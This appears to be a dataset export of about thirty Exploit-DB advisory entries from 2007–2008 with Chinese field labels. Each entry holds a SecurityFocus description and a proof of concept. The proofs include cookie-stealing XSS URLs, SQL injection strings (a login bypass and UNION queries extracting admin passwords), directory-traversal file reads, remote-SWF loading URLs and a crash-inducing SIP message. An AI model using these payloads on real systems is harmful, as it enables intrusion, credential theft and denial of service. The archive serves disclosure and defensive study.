QLWD/code_shield huggingface dataset:
标题: AwesomeTemplateEngine 1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30980 CVE: 2008-0190 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/27125/info

AwesomeTemplateEngine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AwesomeTemplateEngine 1 is vulnerable; other versions may also be affected. 

http://www.example.com/templates/example_template.php?data[title]=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[message]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][item]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][url]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[poweredby]=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/30980
标题: WordPress Core 2.2.3 - '/wp-admin/post.php?popuptitle' Cross-Site Scripting EDB-ID: 30977 CVE: 2008-0192 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/27123/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://site/wp-admin/post.php?popuptitle=%22%20style=%22xss:expression(alert(document.cookie))%22 URL: https://www.exploit-db.com/exploits/30977
标题: Asterisk 1.x - BYE Message Remote Denial of Service EDB-ID: 30974 CVE: 2008-0095 类型: DOS 平台: MULTIPLE 发布日期: 2008-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27110/info

Asterisk is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to cause the application to crash, effectively denying service to legitimate users. 

BYE sip:303@10.0.0.15 SIP/2.0
Via: SIP/2.0/UDP 10.0.0.100:7279;branch=z9hG4bK976ed70381c64bc6a5ec25b63f3df402
To: <sip:303@10.0.0.15>;tag=as664746ba
From: <sip:user@10.0.0.15>;tag=0509943750
Call-ID: 11f5ae5ba1e04a25a1184ff158654371
CSeq: 3 BYE
Max-Forwards: 70
Also: sip:303@10.0.0.15 URL: https://www.exploit-db.com/exploits/30974
标题: Georgia SoftWorks Secure Shell Server 7.1.3 - Multiple Remote Code Execution Vulnerabilities EDB-ID: 30971 CVE: 2008-0096 类型: REMOTE 平台: LINUX 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27103/info

Georgia SoftWorks Secure Shell Server is prone to multiple remote code-execution vulnerabilities:

- A format-string vulnerability
- Two buffer-overflow vulnerabilities.

Successfully exploiting these issues allows remote attackers to execute arbitrary machine code with SYSTEM-level privileges, facilitating the complete compromise of affected computers.

Georgia SoftWorks Secure Shell Server 7.01.0003 is vulnerable to these issues; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30971.zip URL: https://www.exploit-db.com/exploits/30971
标题: W3-mSQL - Error Page Cross-Site Scripting EDB-ID: 30975 CVE: 2008-0146 类型: WEBAPPS 平台: CGI 发布日期: 2008-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/27116/info

W3-mSQL is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/cgi-bin/w3-msql/<script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/30975
标题: InfoSoft FusionCharts 3 - '.swf' Flash File Remote Code Execution EDB-ID: 30973 CVE: 2008-6060 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27109/info

InfoSoft FusionCharts is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//www.example2.com/DoKnowEvil.swf%3F.jpg%22%3E URL: https://www.exploit-db.com/exploits/30973
标题: InstantSoftwares Dating Site - Login SQL Injection EDB-ID: 30963 CVE: 2007-6671 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27080/info

InstantSoftwares Dating Site is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following proof of concept is available:

Username: Admin
Password: anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30963
标题: MODx 0.9.6.1 - 'AjaxSearch.php' Local File Inclusion EDB-ID: 30969 CVE: 2008-0094 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27097/info

MODx is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

MODx 0.9.6.1 is vulnerable to this issue; other versions may also be affected. 

Method=POST
Action=http://www.example.com/modx-0.9.6.1/index-ajax.php?
Name=as_language Value=../ajaxSearch_readme.txt%00
Name=q Value=assets/snippets/AjaxSearch/AjaxSearch.php URL: https://www.exploit-db.com/exploits/30969
标题: MODx 0.9.6.1 - 'htcmime.php' Source Code Information Disclosure EDB-ID: 30968 CVE: 2008-0094 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27096/info

MODx is prone to a vulnerability that allows attackers to access source code because the application fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

MODx 0.9.6.1 is vulnerable; other versions may also be affected.

http://www.example.com/modx-0.9.6.1/assets/js/htcmime.php?file=../../manager/includes/config.inc.php%00.htc URL: https://www.exploit-db.com/exploits/30968
标题: LiveCart 1.0.1 - 'email' Cross-Site Scripting EDB-ID: 30967 CVE: 2007-6646 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27087/info
   
LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/user/remindComplete?email=XSS URL: https://www.exploit-db.com/exploits/30967
标题: Camtasia Studio 4.0.2 - 'csPreloader' Remote Code Execution EDB-ID: 30972 CVE: 2008-6061 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27107/info

Camtasia Studio is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NOTE: This vulnerability was initially considered a cross-site scripting issue, but further analysis reveals that this is a remote code-execution vulnerability.

http://www.example.com/Example_controller.swf?csPreloader=http://www.example2.com/DoKnowEvil.swf%3f URL: https://www.exploit-db.com/exploits/30972
标题: LiveCart 1.0.1 - 'return' Cross-Site Scripting (1) EDB-ID: 30964 CVE: 2007-6646 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27087/info

LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/user/remindPassword?return=XSS URL: https://www.exploit-db.com/exploits/30964
标题: LiveCart 1.0.1 - 'q' Cross-Site Scripting EDB-ID: 30965 CVE: 2007-6646 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27087/info
 
LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/category?id=1&q=XSS URL: https://www.exploit-db.com/exploits/30965
标题: LiveCart 1.0.1 - 'return' Cross-Site Scripting (2) EDB-ID: 30966 CVE: 2007-6646 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27087/info
  
LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/order?return=order/XSS URL: https://www.exploit-db.com/exploits/30966
标题: White_Dune 0.29beta791 - Multiple Local Code Execution Vulnerabilities EDB-ID: 30970 CVE: 2008-0100 类型: LOCAL 平台: MULTIPLE 发布日期: 2008-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27102/info

White_Dune is affected by a format-string vulnerability and a buffer-overflow vulnerability.

Exploiting these issues can allow local attackers to execute arbitrary code in the context of the application.

Versions prior to White_Dune 0.29beta795 are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30970.zip URL: https://www.exploit-db.com/exploits/30970
标题: MilliScripts - 'dir.php' Cross-Site Scripting EDB-ID: 30962 CVE: 2007-6641 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27078/info

MilliScripts is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/PATH/dir.php?do=browse&cat=[XSS] URL: https://www.exploit-db.com/exploits/30962
标题: CoolPlayer 2.17 - 'CPLI_ReadTag_OGG()' Buffer Overflow EDB-ID: 30956 CVE: 2007-6609 类型: DOS 平台: LINUX 发布日期: 2007-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27061/info

CoolPlayer is prone a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

The issue occurs when handling specially crafted OGG files.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts likely result in denial-of-service conditions.

CoolPlayer 217 is vulnerable; other versions may also be affected.

vorbiscomment -t cTag=AAA_2500_A's_AAA -a input.ogg output.ogg URL: https://www.exploit-db.com/exploits/30956
标题: PHCDownload 1.1 - 'search.php?string' SQL Injection EDB-ID: 30957 CVE: 2007-6670 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/27066/info

PHCDownload is prone to an SQL-injection and cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHCDownload 1.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[phcdownload/search.php?string=' URL: https://www.exploit-db.com/exploits/30957
标题: Makale Scripti - Cross-Site Scripting EDB-ID: 30959 CVE: 2007-6673 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/27067/info

Makale Scripti is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://site.com/script_path/Ara/?ara= "><script>alert("g3");</script> URL: https://www.exploit-db.com/exploits/30959
标题: PHCDownload 1.1 - 'search.php?string' Cross-Site Scripting EDB-ID: 30958 CVE: 2007-6669 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/27066/info
 
PHCDownload is prone to an SQL-injection and cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
PHCDownload 1.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[phcdownload/search.php?string=[XSS] URL: https://www.exploit-db.com/exploits/30958
标题: OpenBiblio 0.x - 'theme_del_confirm.php?name' Cross-Site Scripting EDB-ID: 30949 CVE: 2007-6608 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27053/info
 
OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
 
These issues affect Openbiblio 0.5.2-pre4 and prior versions. 

http://www.example.com/openbiblio/admin/theme_del_confirm.php?themeid=6&amp;name=[XSS] URL: https://www.exploit-db.com/exploits/30949
标题: OpenBiblio 0.x - 'staff_del_confirm.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30948 CVE: 2007-6608 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27053/info

OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.

These issues affect Openbiblio 0.5.2-pre4 and prior versions. 

http://www.example.com/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS] URL: https://www.exploit-db.com/exploits/30948
标题: OpenBiblio 0.x - 'theme_preview.php?themeName' Cross-Site Scripting EDB-ID: 30951 CVE: 2007-6608 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27053/info
  
OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
  
These issues affect Openbiblio 0.5.2-pre4 and prior versions. 

<form action="http://www.example.com/openbiblio/admin/theme_preview.php" method="post">
<input type="text" name="themeName" size="40" value="<script>alert(
document.cookie);</script>"><br><br>
<input type="submit" value="doit">
</form> URL: https://www.exploit-db.com/exploits/30951
标题: Feng 0.1.15 - Multiple Remote Buffer Overflow / Denial of Service Vulnerabilities EDB-ID: 30944 CVE: 2007-6630 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/27049/info

Feng is prone to multiple remote buffer-overflow and denial-of-service vulnerabilities.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the server application. Attackers may also crash the application, denying service to legitimate users.

Feng 0.1.15 is vulnerable to these issues; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30944.zip URL: https://www.exploit-db.com/exploits/30944
标题: NetBizCity FaqMasterFlexPlus - 'faq.php' Cross-Site Scripting EDB-ID: 30945 CVE: 2007-6633 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27051/info

FaqMasterFlexPlus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions of FaqMasterFlexPlus are considered vulnerable. 

http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS] URL: https://www.exploit-db.com/exploits/30945
标题: NetBizCity FaqMasterFlexPlus - 'faq.php' SQL Injection EDB-ID: 30947 CVE: 2007-6634 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27052/info

FaqMasterFlexPlus is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

All versions of FaqMasterFlexPlus are considered vulnerable.

http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*
http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin URL: https://www.exploit-db.com/exploits/30947
标题: IPortalX - '/forum/login_user.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30940 CVE: 2007-6597 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/27044/info

iPortalX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions are considered vulnerable. 

http://www.example.com/forum/login_user.asp?Redirect=/forum/search.asp@KW=%22%3E%3 Cscript%3Ealert(document.cookie);%3C/script%3E

http://www.example.com/forum/login_user.asp?Redirect=/members.asp?SF=%22%3E%3Cscri pt%3Ealert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/30940
标题: IPortalX - 'blogs.asp?Date' Cross-Site Scripting EDB-ID: 30941 CVE: 2007-6597 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/27044/info
 
iPortalX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
All versions are considered vulnerable. 

http://www.example.com/Path/blogs.asp?CID=0&AID=0&Date=%22%3E%3Cscript%3Ea lert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/30941
标题: Limbo CMS 1.0.4 - 'com_option' Cross-Site Scripting EDB-ID: 30937 CVE: 2007-6564 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27027/info

Limbo CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Limbo CMS 1.0.4.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?com_option=>"'><SCRIPT>a=/XSS/;alert(a.source)</SCRIPT> URL: https://www.exploit-db.com/exploits/30937
标题: Total Player 3.0 - '.m3u' File Denial of Service EDB-ID: 30934 CVE: 2007-6558 类型: DOS 平台: WINDOWS 发布日期: 2007-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27021/info

Total Player is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the application. Given the nature of this issue, the attacker may be able to execute arbitrary code, but this has not been confirmed.

This issue is reported to affect Total Player 3.0; other versions may also be vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30934.m3u URL: https://www.exploit-db.com/exploits/30934